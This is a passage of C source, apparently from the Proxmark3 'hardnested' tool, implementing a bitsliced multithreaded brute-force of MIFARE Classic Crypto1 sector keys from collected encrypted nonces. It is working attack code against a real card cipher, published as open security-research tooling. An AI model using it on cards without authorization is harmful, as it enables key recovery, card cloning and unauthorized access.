        if(keys_found){
            goto out;
        }

        // set the odd bits and compute rollback
        uint64_t o = (uint64_t) *p_odd;
        lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
        // pre-compute part of the odd feedback bits (minus rollback)
        bool odd_feedback_bit = parity(o&0x9ce5c);

        crypto1_bs_rewind_a0();
        // set odd bits
        for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
            state_p[state_idx] = (o & 1) ? bs_ones : bs_zeroes;
        }
        const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;

        for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
            const bitslice_t * const restrict bitsliced_even_state = bitsliced_even_states[block_idx];
            size_t state_idx;
            // set even bits
            for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
                state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
            }
            // set rollback bits
            uint64_t lo = o;
            for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
                // set the odd bits and take in the odd rollback bits from the even states
                if(lo & 1){
                    state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
                } else {
                    state_p[state_idx] = bitsliced_even_state[state_idx];
                }

                // set the even bits and take in the even rollback bits from the odd states
                if((lo >> 32) & 1){
                    state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
                } else {
                    state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
                }
            }

#ifdef EXACT_COUNT
            bucket_states_tested += (bucket_size[block_idx] > MAX_BITSLICES) ? MAX_BITSLICES : bucket_size[block_idx];
#endif
            // pre-compute first keystream and feedback bit vectors
            const bitslice_value_t ksb = crypto1_bs_f20(state_p);
            const bitslice_value_t fbb = (odd_feedback         ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
                                          state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
                                          state_p[47-24].value ^ state_p[47-42].value);

            // vector to contain test results (1 = passed, 0 = failed)
            bitslice_t results = bs_ones;

            for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
                size_t parity_bit_idx = 0;
                bitslice_value_t fb_bits = fbb;
                bitslice_value_t ks_bits = ksb;
                state_p = &states[KEYSTREAM_SIZE-1];
                bitslice_value_t parity_bit_vector = bs_zeroes.value;

                // highest bit is transmitted/received first
                for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
                    // decrypt nonce bits
                    const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
                    const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);

                    // compute real parity bits on the fly
                    parity_bit_vector ^= decrypted_nonce_bit_vector;

                    // update state
                    state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);

                    // compute next keystream bit
                    ks_bits = crypto1_bs_f20(state_p);

                    // for each byte:
                    if((ks_idx&7) == 0){
                        // get encrypted parity bits
                        const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;

                        // decrypt parity bits
                        const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);

                        // compare actual parity bits with decrypted parity bits and take count in results vector
                        results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);

                        // make sure we still have a match in our set
                        // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){

                        // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
                        // the short-circuiting also helps
                        if(results.bytes64[0] == 0
#if MAX_BITSLICES > 64
                           && results.bytes64[1] == 0
#endif
#if MAX_BITSLICES > 128
                           && results.bytes64[2] == 0
                           && results.bytes64[3] == 0
#endif
                          ){
                            goto stop_tests;
                        }
                        // this is about as fast but less portable (requires -std=gnu99)
                        // asm goto ("ptest %1, %0\n\t"
                        //           "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
                        parity_bit_vector = bs_zeroes.value;
                    }
                    // compute next feedback bit vector
                    fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
                               state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
                               state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
                               state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
                               state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
                               state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
                }
            }
            // all nonce tests were successful: we've found the key in this block!
            state_t keys[MAX_BITSLICES];
            crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
            for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
                if(get_vector_bit(results_idx, results)){
                    key = keys[results_idx].value;
                    goto out;
                }
            }
stop_tests:
            // prepare to set new states
            crypto1_bs_rewind_a0();
            continue;
        }
    }

out:
    for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
                
#ifdef __WIN32
        #ifdef __MINGW32__
                __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
        #else
                _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);          
        #endif
#else
                free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
#endif          
                
    }
    __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
    return key;
}

static void* crack_states_thread(void* x){
    const size_t thread_id = (size_t)x;
    size_t current_bucket = thread_id;
        statelist_t *bucket = NULL;

    while(current_bucket < bucket_count){
                if (keys_found) break;

                if ((bucket = buckets[current_bucket])) {
            const uint64_t key = crack_states_bitsliced(bucket);

                        if (keys_found) break;
                        else if(key != -1) {
                                if (TestIfKeyExists(key)) {
                __sync_fetch_and_add(&keys_found, 1);
                                __sync_fetch_and_add(&foundkey, key);
                                        printf("*");
                                        fflush(stdout);
                break;
                                }
                                printf("!");
                                fflush(stdout);
            } else {                            
                printf(".");
                                fflush(stdout);
            }
        }
        current_bucket += thread_count;
    }
    return NULL;
}

static bool brute_force(void) {
        bool ret = false;
        if (known_target_key != -1) {
                PrintAndLog("Looking for known target key in remaining key space...");
                ret = TestIfKeyExists(known_target_key);
        } else {
                if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)

                PrintAndLog("Brute force phase starting.");

                clock_t time1 = clock();                
                keys_found = 0;
                foundkey = 0;

                crypto1_bs_init();
                memset (bitsliced_rollback_byte, 0, sizeof (bitsliced_rollback_byte));
                memset (bitsliced_encrypted_nonces, 0, sizeof (bitsliced_encrypted_nonces));
                memset (bitsliced_encrypted_parity_bits, 0, sizeof (bitsliced_encrypted_parity_bits));

                PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
                PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02X ...", best_first_bytes[0]^(cuid>>24));
                // convert to 32 bit little-endian
                crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);

                PrintAndLog("Bitslicing nonces...");
                for(size_t tests = 0; tests < NONCE_TESTS; tests++){
                        uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
                        uint8_t test_parity = brute_force_nonces[tests]->par_enc;
                        // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
                        crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
                        // convert to 32 bit little-endian
                        crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
                }
                total_states_tested = 0;

                // count number of states to go
                bucket_count = 0;
                buckets[MAX_BUCKETS-1] = NULL;
                for (statelist_t *p = candidates; p != NULL && bucket_count < MAX_BUCKETS; p = p->next) {
                        buckets[bucket_count] = p;
                        bucket_count++;
                }
                if (bucket_count < MAX_BUCKETS) buckets[bucket_count] = NULL;

#ifndef __WIN32
                thread_count = sysconf(_SC_NPROCESSORS_CONF);
                if ( thread_count < 1)
                        thread_count = 1;
#endif  /* _WIN32 */

                pthread_t threads[thread_count];

                // enumerate states using all hardware threads, each thread handles one bucket
                PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu64" states...", thread_count, bucket_count, maximum_states);

                for(size_t i = 0; i < thread_count; i++){
                        pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
                }
                for(size_t i = 0; i < thread_count; i++){
                        pthread_join(threads[i], 0);
                }

                time1 = clock() - time1;
                PrintAndLog("\nTime for bruteforce %0.1f seconds.",((float)time1)/CLOCKS_PER_SEC);              
                
                if (keys_found) {
                        PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
                        ret = true;
                } 
                // reset this counter for the next call
                nonces_to_bruteforce = 0;
        }
        return ret;
}

int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests, uint64_t *found_key) 
{
        // initialize Random number generator
        time_t t;
        srand((unsigned) time(&t));
        
        *found_key = 0;
        
        if (trgkey != NULL) {
                known_target_key = bytes_to_num(trgkey, 6);
        } else {
                known_target_key = -1;
        }
        
        init_partial_statelists();
        init_BitFlip_statelist();
        write_stats = false;
        
        if (tests) {
                // set the correct locale for the stats printing
                setlocale(LC_ALL, "");
                write_stats = true;
                if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) { 
                        PrintAndLog("Could not create/open file hardnested_stats.txt");
                        return 3;
                }
                for (uint32_t i = 0; i < tests; i++) {
                        init_nonce_memory();
                        simulate_acquire_nonces();
                        Tests();
                        printf("Sum(a0) = %d\n", first_byte_Sum);
                        fprintf(fstats, "%d;", first_byte_Sum);
                        generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
                        brute_force();
                        free_nonces_memory();
                        free_statelist_cache();
                        free_candidates_memory(candidates);
                        candidates = NULL;
                }
                fclose(fstats);
                fstats = NULL;
        } else {
                init_nonce_memory();
                if (nonce_file_read) { // use pre-acquired data from file nonces.bin
                        if (read_nonce_file() != 0) {
                                return 3;
                        }
                        Check_for_FilterFlipProperties();
                        num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
                        PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);

                        bool cracking = generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
                        if (cracking || known_target_key != -1) {
                                brute_force();
                        }

                } else { // acquire nonces.
                        uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
                        if (is_OK != 0) {
                                free_nonces_memory();
                                //free_statelist_cache();
                                free_candidates_memory(candidates);
                                candidates = NULL;
                                return is_OK;
                        }
                }

                //Tests();
                free_nonces_memory();
                free_statelist_cache();
                free_candidates_memory(candidates);
                candidates = NULL;
        }
        *found_key = foundkey;
        return 0;
}